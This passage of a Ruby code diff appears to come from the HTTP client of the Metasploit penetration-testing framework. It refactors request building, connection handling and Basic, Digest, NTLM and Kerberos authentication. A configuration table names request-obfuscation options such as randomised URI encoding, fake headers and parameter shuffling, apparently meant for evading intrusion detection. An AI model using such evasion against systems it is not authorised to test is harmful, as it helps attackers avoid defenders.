HttpSubscriber.new - - # Take ClientRequest's defaults, but override with our own - self.config = Http::ClientRequest::DefaultConfig.merge({ - 'read_max_data' => (1024*1024*1), - 'vhost' => self.hostname, - 'ssl_server_name_indication' => self.hostname, - }) - self.config['agent'] ||= Rex::UserAgent.session_agent - - # XXX: This info should all be controlled by ClientRequest - self.config_types = { - 'uri_encode_mode' => ['hex-normal', 'hex-all', 'hex-random', 'hex-noslashes', 'u-normal', 'u-random', 'u-all'], - 'uri_encode_count' => 'integer', - 'uri_full_url' => 'bool', - 'pad_method_uri_count' => 'integer', - 'pad_uri_version_count' => 'integer', - 'pad_method_uri_type' => ['space', 'tab', 'apache'], - 'pad_uri_version_type' => ['space', 'tab', 'apache'], - 'method_random_valid' => 'bool', - 'method_random_invalid' => 'bool', - 'method_random_case' => 'bool', - 'version_random_valid' => 'bool', - 'version_random_invalid' => 'bool', - 'uri_dir_self_reference' => 'bool', - 'uri_dir_fake_relative' => 'bool', - 'uri_use_backslashes' => 'bool', - 'pad_fake_headers' => 'bool', - 'pad_fake_headers_count' => 'integer', - 'pad_get_params' => 'bool', - 'pad_get_params_count' => 'integer', - 'pad_post_params' => 'bool', - 'pad_post_params_count' => 'integer', - 'shuffle_get_params' => 'bool', - 'shuffle_post_params' => 'bool', - 'uri_fake_end' => 'bool', - 'uri_fake_params_start' => 'bool', - 'header_folding' => 'bool', - 'chunked_size' => 'integer', - 'partial' => 'bool' - } - end - - # - # Set configuration options - # - def set_config(opts = {}) - opts.each_pair do |var,val| - # Default type is string - typ = self.config_types[var] || 'string' - - # These are enum types - if typ.is_a?(Array) - if not typ.include?(val) - raise RuntimeError, "The specified value for #{var} is not one of the valid choices" + module Proto + module Http + ### + # + # Acts as a client to an HTTP server, sending requests and receiving responses. + # + # See the RFC: http://www.w3.org/Protocols/rfc2616/rfc2616.html + # + ### + class Client + + # + # Creates a new client instance + # @param http_trace_proc_request [Proc] A proc object passed to log HTTP requests if HTTP-Trace is set + # @param http_trace_proc_response [Proc] A proc object passed to log HTTP responses if HTTP-Trace is set + # + def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '', kerberos_authenticator: nil, comm: nil, subscriber: nil) + self.hostname = host + self.port = port.to_i + self.context = context + self.ssl = ssl + self.ssl_version = ssl_version + self.proxies = proxies + self.username = username + self.password = password + self.kerberos_authenticator = kerberos_authenticator + self.comm = comm + self.subscriber = subscriber || HttpSubscriber.new + + # Take ClientRequest's defaults, but override with our own + self.config = Http::ClientRequest::DefaultConfig.merge({ + 'read_max_data' => (1024 * 1024 * 1), + 'vhost' => hostname, + 'ssl_server_name_indication' => hostname + }) + config['agent'] ||= Rex::UserAgent.session_agent + + # XXX: This info should all be controlled by ClientRequest + self.config_types = { + 'uri_encode_mode' => ['hex-normal', 'hex-all', 'hex-random', 'hex-noslashes', 'u-normal', 'u-random', 'u-all'], + 'uri_encode_count' => 'integer', + 'uri_full_url' => 'bool', + 'pad_method_uri_count' => 'integer', + 'pad_uri_version_count' => 'integer', + 'pad_method_uri_type' => ['space', 'tab', 'apache'], + 'pad_uri_version_type' => ['space', 'tab', 'apache'], + 'method_random_valid' => 'bool', + 'method_random_invalid' => 'bool', + 'method_random_case' => 'bool', + 'version_random_valid' => 'bool', + 'version_random_invalid' => 'bool', + 'uri_dir_self_reference' => 'bool', + 'uri_dir_fake_relative' => 'bool', + 'uri_use_backslashes' => 'bool', + 'pad_fake_headers' => 'bool', + 'pad_fake_headers_count' => 'integer', + 'pad_get_params' => 'bool', + 'pad_get_params_count' => 'integer', + 'pad_post_params' => 'bool', + 'pad_post_params_count' => 'integer', + 'shuffle_get_params' => 'bool', + 'shuffle_post_params' => 'bool', + 'uri_fake_end' => 'bool', + 'uri_fake_params_start' => 'bool', + 'header_folding' => 'bool', + 'chunked_size' => 'integer', + 'partial' => 'bool' + } end - end - - # The caller should have converted these to proper ruby types, but - # take care of the case where they didn't before setting the - # config. - - if(typ == 'bool') - val = (val == true || val.to_s =~ /^(t|y|1)/i) - end - - if(typ == 'integer') - val = val.to_i - end - - self.config[var]=val - end - end - - # - # Create an arbitrary HTTP request - # - # @param opts [Hash] - # @option opts 'agent' [String] User-Agent header value - # @option opts 'connection' [String] Connection header value - # @option opts 'cookie' [String] Cookie header value - # @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616) - # @option opts 'encode' [Bool] URI encode the supplied URI, default: false - # @option opts 'headers' [Hash] HTTP headers, e.g. { "X-MyHeader" => "value" } - # @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET - # @option opts 'proto' [String] protocol, default: HTTP - # @option opts 'query' [String] raw query string - # @option opts 'raw_headers' [String] Raw HTTP headers - # @option opts 'uri' [String] the URI to request - # @option opts 'version' [String] version of the protocol, default: 1.1 - # @option opts 'vhost' [String] Host header value - # - # @return [ClientRequest] - def request_raw(opts = {}) - opts = self.config.merge(opts) - - opts['cgi'] = false - opts['port'] = self.port - opts['ssl'] = self.ssl - - ClientRequest.new(opts) - end - - # - # Create a CGI compatible request - # - # @param (see #request_raw) - # @option opts (see #request_raw) - # @option opts 'ctype' [String] Content-Type header value, default for POST requests: +application/x-www-form-urlencoded+ - # @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true - # @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string - # @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data - # @option opts 'vars_form_data' [Hash] POST form_data variables as a hash to be translated into multi-part POST form data - # - # @return [ClientRequest] - def request_cgi(opts = {}) - opts = self.config.merge(opts) - - opts['cgi'] = true - opts['port'] = self.port - opts['ssl'] = self.ssl - - ClientRequest.new(opts) - end - - # - # Connects to the remote server if possible. - # - # @param t [Integer] Timeout - # @see Rex::Socket::Tcp.create - # @return [Rex::Socket::Tcp] - def connect(t = -1) - # If we already have a connection and we aren't pipelining, close it. - if (self.conn) - if !pipelining? - close - else - return self.conn - end - end - timeout = (t.nil? or t == -1) ? 0 : t - - self.conn = Rex::Socket::Tcp.create( - 'PeerHost' => self.hostname, - 'PeerHostname' => self.config['ssl_server_name_indication'] || self.config['vhost'], - 'PeerPort' => self.port.to_i, - 'LocalHost' => self.local_host, - 'LocalPort' => self.local_port, - 'Context' => self.context, - 'SSL' => self.ssl, - 'SSLVersion' => self.ssl_version, - 'Proxies' => self.proxies, - 'Timeout' => timeout, - 'Comm' => self.comm - ) - end - - # - # Closes the connection to the remote server. - # - def close - if self.conn && !self.conn.closed? - self.conn.shutdown - self.conn.close - end - - self.conn = nil - self.ntlm_client = nil - end - - # - # Sends a request and gets a response back - # - # If the request is a 401, and we have creds, it will attempt to complete - # authentication and return the final response - # - # @return (see #_send_recv) - def send_recv(req, t = -1, persist = false) - res = _send_recv(req, t, persist) - if res and res.code == 401 and res.headers['WWW-Authenticate'] - res = send_auth(res, req.opts, t, persist) - end - res - end + # + # Set configuration options + # + def set_config(opts = {}) + opts.each_pair do |var, val| + # Default type is string + typ = config_types[var] || 'string' + + # These are enum types + if typ.is_a?(Array) && !typ.include?(val) + raise "The specified value for #{var} is not one of the valid choices" + end - # - # Transmit an HTTP request and receive the response - # - # If persist is set, then the request will attempt to reuse an existing - # connection. - # - # Call this directly instead of {#send_recv} if you don't want automatic - # authentication handling. - # - # @return (see #read_response) - def _send_recv(req, t = -1, persist = false) - @pipeline = persist - subscriber.on_request(req) - if req.respond_to?(:opts) && req.opts['ntlm_transform_request'] && self.ntlm_client - req = req.opts['ntlm_transform_request'].call(self.ntlm_client, req) - elsif req.respond_to?(:opts) && req.opts['krb_transform_request'] && self.krb_encryptor - req = req.opts['krb_transform_request'].call(self.krb_encryptor, req) - end - - send_request(req, t) - - res = read_response(t, :original_request => req) - if req.respond_to?(:opts) && req.opts['ntlm_transform_response'] && self.ntlm_client - req.opts['ntlm_transform_response'].call(self.ntlm_client, res) - elsif req.respond_to?(:opts) && req.opts['krb_transform_response'] && self.krb_encryptor - req = req.opts['krb_transform_response'].call(self.krb_encryptor, res) - end - res.request = req.to_s if res - res.peerinfo = peerinfo if res - subscriber.on_response(res) - res - end + # The caller should have converted these to proper ruby types, but + # take care of the case where they didn't before setting the + # config. - # - # Send an HTTP request to the server - # - # @param req [Request,ClientRequest,#to_s] The request to send - # @param t (see #connect) - # - # @return [void] - def send_request(req, t = -1) - connect(t) - conn.put(req.to_s) - end + if (typ == 'bool') + val = val == true || val.to_s =~ /^(t|y|1)/i + end - # Resends an HTTP Request with the proper authentication headers - # set. If we do not support the authentication type the server requires - # we return the original response object - # - # @param res [Response] the HTTP Response object - # @param opts [Hash] the options used to generate the original HTTP request - # @param t [Integer] the timeout for the request in seconds - # @param persist [Boolean] whether or not to persist the TCP connection (pipelining) - # - # @return [Response] the last valid HTTP response object we received - def send_auth(res, opts, t, persist) - if opts['username'].nil? or opts['username'] == '' - if self.username and not (self.username == '') - opts['username'] = self.username - opts['password'] = self.password - else - opts['username'] = nil - opts['password'] = nil - end - end + if (typ == 'integer') + val = val.to_i + end - if opts[:kerberos_authenticator].nil? - opts[:kerberos_authenticator] = self.kerberos_authenticator - end + config[var] = val + end + end - return res if (opts['username'].nil? or opts['username'] == '') and opts[:kerberos_authenticator].nil? - supported_auths = res.headers['WWW-Authenticate'] - - # if several providers are available, the client may want one in particular - preferred_auth = opts['preferred_auth'] - - if supported_auths.include?('Basic') && (preferred_auth.nil? || preferred_auth == 'Basic') - opts['headers'] ||= {} - opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] ) - req = request_cgi(opts) - res = _send_recv(req,t,persist) - return res - elsif supported_auths.include?('Digest') && (preferred_auth.nil? || preferred_auth == 'Digest') - temp_response = digest_auth(opts) - if temp_response.kind_of? Rex::Proto::Http::Response - res = temp_response - end - return res - elsif supported_auths.include?('NTLM') && (preferred_auth.nil? || preferred_auth == 'NTLM') - opts['provider'] = 'NTLM' - temp_response = negotiate_auth(opts) - if temp_response.kind_of? Rex::Proto::Http::Response - res = temp_response - end - return res - elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Negotiate') - opts['provider'] = 'Negotiate' - temp_response = negotiate_auth(opts) - if temp_response.kind_of? Rex::Proto::Http::Response - res = temp_response - end - return res - elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Kerberos') - opts['provider'] = 'Negotiate' - temp_response = kerberos_auth(opts) - if temp_response.kind_of? Rex::Proto::Http::Response - res = temp_response - end - return res - end - return res - end + # + # Create an arbitrary HTTP request + # + # @param opts [Hash] + # @option opts 'agent' [String] User-Agent header value + # @option opts 'connection' [String] Connection header value + # @option opts 'cookie' [String] Cookie header value + # @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616) + # @option opts 'encode' [Bool] URI encode the supplied URI, default: false + # @option opts 'headers' [Hash] HTTP headers, e.g. { "X-MyHeader" => "value" } + # @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET + # @option opts 'proto' [String] protocol, default: HTTP + # @option opts 'query' [String] raw query string + # @option opts 'raw_headers' [String] Raw HTTP headers + # @option opts 'uri' [String] the URI to request + # @option opts 'version' [String] version of the protocol, default: 1.1 + # @option opts 'vhost' [String] Host header value + # + # @return [ClientRequest] + def request_raw(opts = {}) + opts = config.merge(opts) + + opts['cgi'] = false + opts['port'] = port + opts['ssl'] = ssl + + ClientRequest.new(opts) + end - # Converts username and password into the HTTP Basic authorization - # string. - # - # @return [String] A value suitable for use as an Authorization header - def basic_auth_header(username,password) - auth_str = username.to_s + ":" + password.to_s - auth_str = "Basic " + Rex::Text.encode_base64(auth_str) - end + # + # Create a CGI compatible request + # + # @param (see #request_raw) + # @option opts (see #request_raw) + # @option opts 'ctype' [String] Content-Type header value, default for POST requests: +application/x-www-form-urlencoded+ + # @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true + # @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string + # @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data + # @option opts 'vars_form_data' [Hash] POST form_data variables as a hash to be translated into multi-part POST form data + # + # @return [ClientRequest] + def request_cgi(opts = {}) + opts = config.merge(opts) + + opts['cgi'] = true + opts['port'] = port + opts['ssl'] = ssl + + ClientRequest.new(opts) + end + # + # Connects to the remote server if possible. + # + # @param t [Integer] Timeout + # @see Rex::Socket::Tcp.create + # @return [Rex::Socket::Tcp] + def connect(t = -1) + # If we already have a connection and we aren't pipelining, close it. + if conn + if !pipelining? + close + else + return conn + end + end - def make_cnonce - Digest::MD5.hexdigest "%x" % (::Time.now.to_i + rand(65535)) - end + timeout = (t.nil? or t == -1) ? 0 : t + + self.conn = Rex::Socket::Tcp.create( + 'PeerHost' => hostname, + 'PeerHostname' => config['ssl_server_name_indication'] || config['vhost'], + 'PeerPort' => port.to_i, + 'LocalHost' => local_host, + 'LocalPort' => local_port, + 'Context' => context, + 'SSL' => ssl, + 'SSLVersion' => ssl_version, + 'Proxies' => proxies, + 'Timeout' => timeout, + 'Comm' => comm + ) + end - # Send a series of requests to complete Digest Authentication - # - # @param opts [Hash] the options used to build an HTTP request - # @return [Response] the last valid HTTP response we received - def digest_auth(opts={}) - cnonce = make_cnonce - nonce_count = 0 + # + # Closes the connection to the remote server. + # + def close + if conn && !conn.closed? + conn.shutdown + conn.close + end - to = opts['timeout'] || 20 + self.conn = nil + self.ntlm_client = nil + end - digest_user = opts['username'] || "" - digest_password = opts['password'] || "" + # + # Sends a request and gets a response back + # + # If the request is a 401, and we have creds, it will attempt to complete + # authentication and return the final response + # + # @return (see #_send_recv) + def send_recv(req, t = -1, persist = false) + res = _send_recv(req, t, persist) + if res and res.code == 401 and res.headers['WWW-Authenticate'] + res = send_auth(res, req.opts, t, persist) + end + res + end - method = opts['method'] - path = opts['uri'] - iis = true - if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'] == false) - iis = false - end + # + # Transmit an HTTP request and receive the response + # + # If persist is set, then the request will attempt to reuse an existing + # connection. + # + # Call this directly instead of {#send_recv} if you don't want automatic + # authentication handling. + # + # @return (see #read_response) + def _send_recv(req, t = -1, persist = false) + @pipeline = persist + subscriber.on_request(req) + if req.respond_to?(:opts) && req.opts['ntlm_transform_request'] && ntlm_client + req = req.opts['ntlm_transform_request'].call(ntlm_client, req) + elsif req.respond_to?(:opts) && req.opts['krb_transform_request'] && krb_encryptor + req = req.opts['krb_transform_request'].call(krb_encryptor, req) + end - begin - nonce_count += 1 + send_request(req, t) - resp = opts['response'] + res = read_response(t, original_request: req) + if req.respond_to?(:opts) && req.opts['ntlm_transform_response'] && ntlm_client + req.opts['ntlm_transform_response'].call(ntlm_client, res) + elsif req.respond_to?(:opts) && req.opts['krb_transform_response'] && krb_encryptor + req = req.opts['krb_transform_response'].call(krb_encryptor, res) + end + res.request = req.to_s if res + res.peerinfo = peerinfo if res + subscriber.on_response(res) + res + end - if not resp - # Get authentication-challenge from server, and read out parameters required - r = request_cgi(opts.merge({ - 'uri' => path, - 'method' => method })) - resp = _send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end + # + # Send an HTTP request to the server + # + # @param req [Request,ClientRequest,#to_s] The request to send + # @param t (see #connect) + # + # @return [void] + def send_request(req, t = -1) + connect(t) + conn.put(req.to_s) + end - if resp.code != 401 - return resp - end - return resp unless resp.headers['WWW-Authenticate'] - end + # Resends an HTTP Request with the proper authentication headers + # set. If we do not support the authentication type the server requires + # we return the original response object + # + # @param res [Response] the HTTP Response object + # @param opts [Hash] the options used to generate the original HTTP request + # @param t [Integer] the timeout for the request in seconds + # @param persist [Boolean] whether or not to persist the TCP connection (pipelining) + # + # @return [Response] the last valid HTTP response object we received + def send_auth(res, opts, t, persist) + if opts['username'].nil? or opts['username'] == '' + if username and !(username == '') + opts['username'] = username + opts['password'] = password + else + opts['username'] = nil + opts['password'] = nil + end + end - # Don't anchor this regex to the beginning of string because header - # folding makes it appear later when the server presents multiple - # WWW-Authentication options (such as is the case with IIS configured - # for Digest or NTLM). - resp['www-authenticate'] =~ /Digest (.*)/ + if opts[:kerberos_authenticator].nil? + opts[:kerberos_authenticator] = kerberos_authenticator + end - parameters = {} - $1.split(/,[[:space:]]*/).each do |p| - k, v = p.split("=", 2) - parameters[k] = v.gsub('"', '') - end + return res if (opts['username'].nil? or opts['username'] == '') and opts[:kerberos_authenticator].nil? - qop = parameters['qop'] - - if parameters['algorithm'] =~ /(.*?)(-sess)?$/ - algorithm = case $1 - when 'MD5' then Digest::MD5 - when 'SHA1' then Digest::SHA1 - when 'SHA2' then Digest::SHA2 - when 'SHA256' then Digest::SHA256 - when 'SHA384' then Digest::SHA384 - when 'SHA512' then Digest::SHA512 - when 'RMD160' then Digest::RMD160 - else raise Error, "unknown algorithm \"#{$1}\"" - end - algstr = parameters["algorithm"] - sess = $2 - else - algorithm = Digest::MD5 - algstr = "MD5" - sess = false - end + supported_auths = res.headers['WWW-Authenticate'] - a1 = if sess then - [ - algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), - parameters['nonce'], - cnonce - ].join ':' - else - "#{digest_user}:#{parameters['realm']}:#{digest_password}" - end + # if several providers are available, the client may want one in particular + preferred_auth = opts['preferred_auth'] - ha1 = algorithm.hexdigest(a1) - ha2 = algorithm.hexdigest("#{method}:#{path}") - - request_digest = [ha1, parameters['nonce']] - request_digest.push(('%08x' % nonce_count), cnonce, qop) if qop - request_digest << ha2 - request_digest = request_digest.join ':' - - # Same order as IE7 - auth = [ - "Digest username=\"#{digest_user}\"", - "realm=\"#{parameters['realm']}\"", - "nonce=\"#{parameters['nonce']}\"", - "uri=\"#{path}\"", - "cnonce=\"#{cnonce}\"", - "nc=#{'%08x' % nonce_count}", - "algorithm=#{algstr}", - "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"", - # The spec says the qop value shouldn't be enclosed in quotes, but - # some versions of IIS require it and Apache accepts it. Chrome - # and Firefox both send it without quotes but IE does it this way. - # Use the non-compliant-but-everybody-does-it to be as compatible - # as possible by default. The user can override if they don't like - # it. - if qop.nil? then - elsif iis then - "qop=\"#{qop}\"" - else - "qop=#{qop}" - end, - if parameters.key? 'opaque' then - "opaque=\"#{parameters['opaque']}\"" - end - ].compact - - headers ={ 'Authorization' => auth.join(', ') } - headers.merge!(opts['headers']) if opts['headers'] - - # Send main request with authentication - r = request_cgi(opts.merge({ - 'uri' => path, - 'method' => method, - 'headers' => headers })) - resp = _send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end + if supported_auths.include?('Basic') && (preferred_auth.nil? || preferred_auth == 'Basic') + opts['headers'] ||= {} + opts['headers']['Authorization'] = basic_auth_header(opts['username'], opts['password']) + req = request_cgi(opts) + res = _send_recv(req, t, persist) + return res + elsif supported_auths.include?('Digest') && (preferred_auth.nil? || preferred_auth == 'Digest') + temp_response = digest_auth(opts) + if temp_response.is_a? Rex::Proto::Http::Response + res = temp_response + end + return res + elsif supported_auths.include?('NTLM') && (preferred_auth.nil? || preferred_auth == 'NTLM') + opts['provider'] = 'NTLM' + temp_response = negotiate_auth(opts) + if temp_response.is_a? Rex::Proto::Http::Response + res = temp_response + end + return res + elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Negotiate') + opts['provider'] = 'Negotiate' + temp_response = negotiate_auth(opts) + if temp_response.is_a? Rex::Proto::Http::Response + res = temp_response + end + return res + elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Kerberos') + opts['provider'] = 'Negotiate' + temp_response = kerberos_auth(opts) + if temp_response.is_a? Rex::Proto::Http::Response + res = temp_response + end + return res + end + return res + end - return resp + # Converts username and password into the HTTP Basic authorization + # string. + # + # @return [String] A value suitable for use as an Authorization header + def basic_auth_header(username, password) + auth_str = username.to_s + ':' + password.to_s + 'Basic ' + Rex::Text.encode_base64(auth_str) + end + # Send a series of requests to complete Digest Authentication + # + # @param opts [Hash] the options used to build an HTTP request + # @return [Response] the last valid HTTP response we received + def digest_auth(opts = {}) + to = opts['timeout'] || 20 + + digest_user = opts['username'] || '' + digest_password = opts['password'] || '' + + method = opts['method'] + path = opts['uri'] + iis = true + if (opts['DigestAuthIIS'] == false or config['DigestAuthIIS'] == false) + iis = false + end - rescue ::Errno::EPIPE, ::Timeout::Error - end - end + begin + resp = opts['response'] + + if !resp + # Get authentication-challenge from server, and read out parameters required + r = request_cgi(opts.merge({ + 'uri' => path, + 'method' => method + })) + resp = _send_recv(r, to) + unless resp.is_a? Rex::Proto::Http::Response + return nil + end + + if resp.code != 401 + return resp + end + return resp unless resp.headers['WWW-Authenticate'] + end - def kerberos_auth(opts={}) - to = opts['timeout'] || 20 - auth_result = self.kerberos_authenticator.authenticate(mechanism: Rex::Proto::Gss::Mechanism::KERBEROS) - gss_data = auth_result[:security_blob] - gss_data_b64 = Rex::Text.encode_base64(gss_data) - - # Separate options for the auth requests - auth_opts = opts.clone - auth_opts['headers'] = opts['headers'].clone - auth_opts['headers']['Authorization'] = "Kerberos #{gss_data_b64}" - - if auth_opts['no_body_for_auth'] - auth_opts.delete('data') - auth_opts.delete('krb_transform_request') - auth_opts.delete('krb_transform_response') - end + # Don't anchor this regex to the beginning of string because header + # folding makes it appear later when the server presents multiple + # WWW-Authentication options (such as is the case with IIS configured + # for Digest or NTLM). + resp['www-authenticate'] =~ /Digest (.*)/ - begin - # Send the auth request - r = request_cgi(auth_opts) - resp = _send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end + parameters = {} + ::Regexp.last_match(1).split(/,[[:space:]]*/).each do |p| + k, v = p.split('=', 2) + parameters[k] = v.gsub('"', '') + end - # Get the challenge and craft the response - response = resp.headers['WWW-Authenticate'].scan(/Kerberos ([A-Z0-9\x2b\x2f=]+)/ni).flatten[0] - return resp unless response + auth_digest = Rex::Proto::Http::AuthDigest.new + auth = auth_digest.digest(digest_user, digest_password, method, path, parameters, iis) + + headers = { 'Authorization' => auth.join(', ') } + headers.merge!(opts['headers']) if opts['headers'] + + # Send main request with authentication + r = request_cgi(opts.merge({ + 'uri' => path, + 'method' => method, + 'headers' => headers + })) + resp = _send_recv(r, to, true) + unless resp.is_a? Rex::Proto::Http::Response + return nil + end - decoded = Rex::Text.decode_base64(response) - mutual_auth_result = self.kerberos_authenticator.parse_gss_init_response(decoded, auth_result[:session_key]) - self.krb_encryptor = self.kerberos_authenticator.get_message_encryptor(mutual_auth_result[:ap_rep_subkey], - auth_result[:client_sequence_number], - mutual_auth_result[:server_sequence_number]) + return resp + rescue ::Errno::EPIPE, ::Timeout::Error + end + end - if opts['no_body_for_auth'] - # If the body wasn't sent in the authentication, now do the actual request - r = request_cgi(opts) - resp = _send_recv(r, to, true) - end - return resp + def kerberos_auth(opts = {}) + to = opts['timeout'] || 20 + auth_result = kerberos_authenticator.authenticate(mechanism: Rex::Proto::Gss::Mechanism::KERBEROS) + gss_data = auth_result[:security_blob] + gss_data_b64 = Rex::Text.encode_base64(gss_data) + + # Separate options for the auth requests + auth_opts = opts.clone + auth_opts['headers'] = opts['headers'].clone + auth_opts['headers']['Authorization'] = "Kerberos #{gss_data_b64}" + + if auth_opts['no_body_for_auth'] + auth_opts.delete('data') + auth_opts.delete('krb_transform_request') + auth_opts.delete('krb_transform_response') + end - rescue ::Errno::EPIPE, ::Timeout::Error - return nil - end - end + begin + # Send the auth request + r = request_cgi(auth_opts) + resp = _send_recv(r, to) + unless resp.is_a? Rex::Proto::Http::Response + return nil + end - # - # Builds a series of requests to complete Negotiate Auth. Works essentially - # the same way as Digest auth. Same pipelining concerns exist. - # - # @option opts (see #send_request_cgi) - # @option opts provider ["Negotiate","NTLM"] What Negotiate provider to use - # - # @return [Response] the last valid HTTP response we received - def negotiate_auth(opts={}) - - to = opts['timeout'] || 20 - opts['username'] ||= '' - opts['password'] ||= '' - - if opts['provider'] and opts['provider'].include? 'Negotiate' - provider = "Negotiate " - else - provider = "NTLM " - end + # Get the challenge and craft the response + response = resp.headers['WWW-Authenticate'].scan(/Kerberos ([A-Z0-9\x2b\x2f=]+)/ni).flatten[0] + return resp unless response - opts['method']||= 'GET' - opts['headers']||= {} - - workstation_name = Rex::Text.rand_text_alpha(rand(8)+6) - domain_name = self.config['domain'] - - ntlm_client = ::Net::NTLM::Client.new( - opts['username'], - opts['password'], - workstation: workstation_name, - domain: domain_name, - ) - type1 = ntlm_client.init_context - - begin - # Separate options for the auth requests - auth_opts = opts.clone - auth_opts['headers'] = opts['headers'].clone - auth_opts['headers']['Authorization'] = provider + type1.encode64 - - if auth_opts['no_body_for_auth'] - auth_opts.delete('data') - auth_opts.delete('ntlm_transform_request') - auth_opts.delete('ntlm_transform_response') - end + decoded = Rex::Text.decode_base64(response) + mutual_auth_result = kerberos_authenticator.parse_gss_init_response(decoded, auth_result[:session_key]) + self.krb_encryptor = kerberos_authenticator.get_message_encryptor(mutual_auth_result[:ap_rep_subkey], + auth_result[:client_sequence_number], + mutual_auth_result[:server_sequence_number]) - # First request to get the challenge - r = request_cgi(auth_opts) - resp = _send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end + if opts['no_body_for_auth'] + # If the body wasn't sent in the authentication, now do the actual request + r = request_cgi(opts) + resp = _send_recv(r, to, true) + end + return resp + rescue ::Errno::EPIPE, ::Timeout::Error + return nil + end + end - return resp unless resp.code == 401 && resp.headers['WWW-Authenticate'] + # + # Builds a series of requests to complete Negotiate Auth. Works essentially + # the same way as Digest auth. Same pipelining concerns exist. + # + # @option opts (see #send_request_cgi) + # @option opts provider ["Negotiate","NTLM"] What Negotiate provider to use + # + # @return [Response] the last valid HTTP response we received + def negotiate_auth(opts = {}) + to = opts['timeout'] || 20 + opts['username'] ||= '' + opts['password'] ||= '' + + if opts['provider'] and opts['provider'].include? 'Negotiate' + provider = 'Negotiate ' + else + provider = 'NTLM ' + end - # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0] - return resp unless ntlm_challenge + opts['method'] ||= 'GET' + opts['headers'] ||= {} - ntlm_message_3 = ntlm_client.init_context(ntlm_challenge, channel_binding) + workstation_name = Rex::Text.rand_text_alpha(rand(6..13)) + domain_name = config['domain'] - self.ntlm_client = ntlm_client - # Send the response - auth_opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3.encode64}" - r = request_cgi(auth_opts) - resp = _send_recv(r, to, true) + ntlm_client = ::Net::NTLM::Client.new( + opts['username'], + opts['password'], + workstation: workstation_name, + domain: domain_name + ) + type1 = ntlm_client.init_context - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end - if opts['no_body_for_auth'] - # If the body wasn't sent in the authentication, now do the actual request - r = request_cgi(opts) - resp = _send_recv(r, to, true) - end - return resp + begin + # Separate options for the auth requests + auth_opts = opts.clone + auth_opts['headers'] = opts['headers'].clone + auth_opts['headers']['Authorization'] = provider + type1.encode64 + + if auth_opts['no_body_for_auth'] + auth_opts.delete('data') + auth_opts.delete('ntlm_transform_request') + auth_opts.delete('ntlm_transform_response') + end - rescue ::Errno::EPIPE, ::Timeout::Error - return nil - end - end + # First request to get the challenge + r = request_cgi(auth_opts) + resp = _send_recv(r, to) + unless resp.is_a? Rex::Proto::Http::Response + return nil + end - def channel_binding - if !self.conn.respond_to?(:peer_cert) or self.conn.peer_cert.nil? - nil - else - Net::NTLM::ChannelBinding.create(OpenSSL::X509::Certificate.new(self.conn.peer_cert)) - end - end + return resp unless resp.code == 401 && resp.headers['WWW-Authenticate'] - # Read a response from the server - # - # Wait at most t seconds for the full response to be read in. - # If t is specified as a negative value, it indicates an indefinite wait cycle. - # If t is specified as nil or 0, it indicates no response parsing is required. - # - # @return [Response] - def read_response(t = -1, opts = {}) - # Return a nil response if timeout is nil or 0 - return if t.nil? || t == 0 - - resp = Response.new - resp.max_data = config['read_max_data'] - - original_request = opts.fetch(:original_request) { nil } - parse_opts = {} - unless original_request.nil? - parse_opts = { :orig_method => original_request.opts['method'] } - end + # Get the challenge and craft the response + ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0] + return resp unless ntlm_challenge - Timeout.timeout((t < 0) ? nil : t) do + ntlm_message_3 = ntlm_client.init_context(ntlm_challenge, channel_binding) - rv = nil - while ( - not conn.closed? and - rv != Packet::ParseCode::Completed and - rv != Packet::ParseCode::Error - ) + self.ntlm_client = ntlm_client + # Send the response + auth_opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3.encode64}" + r = request_cgi(auth_opts) + resp = _send_recv(r, to, true) - begin + unless resp.is_a? Rex::Proto::Http::Response + return nil + end - buff = conn.get_once(resp.max_data, 1) - rv = resp.parse(buff || '', parse_opts) + if opts['no_body_for_auth'] + # If the body wasn't sent in the authentication, now do the actual request + r = request_cgi(opts) + resp = _send_recv(r, to, true) + end + return resp + rescue ::Errno::EPIPE, ::Timeout::Error + return nil + end + end - # Handle unexpected disconnects - rescue ::Errno::EPIPE, ::EOFError, ::IOError - case resp.state - when Packet::ParseState::ProcessingHeader - resp = nil - when Packet::ParseState::ProcessingBody - # truncated request, good enough - resp.error = :truncated + def channel_binding + if !conn.respond_to?(:peer_cert) or conn.peer_cert.nil? + nil + else + Net::NTLM::ChannelBinding.create(OpenSSL::X509::Certificate.new(conn.peer_cert)) end - break end - # This is a dirty hack for broken HTTP servers - if rv == Packet::ParseCode::Completed - rbody = resp.body - rbufq = resp.bufq + # Read a response from the server + # + # Wait at most t seconds for the full response to be read in. + # If t is specified as a negative value, it indicates an indefinite wait cycle. + # If t is specified as nil or 0, it indicates no response parsing is required. + # + # @return 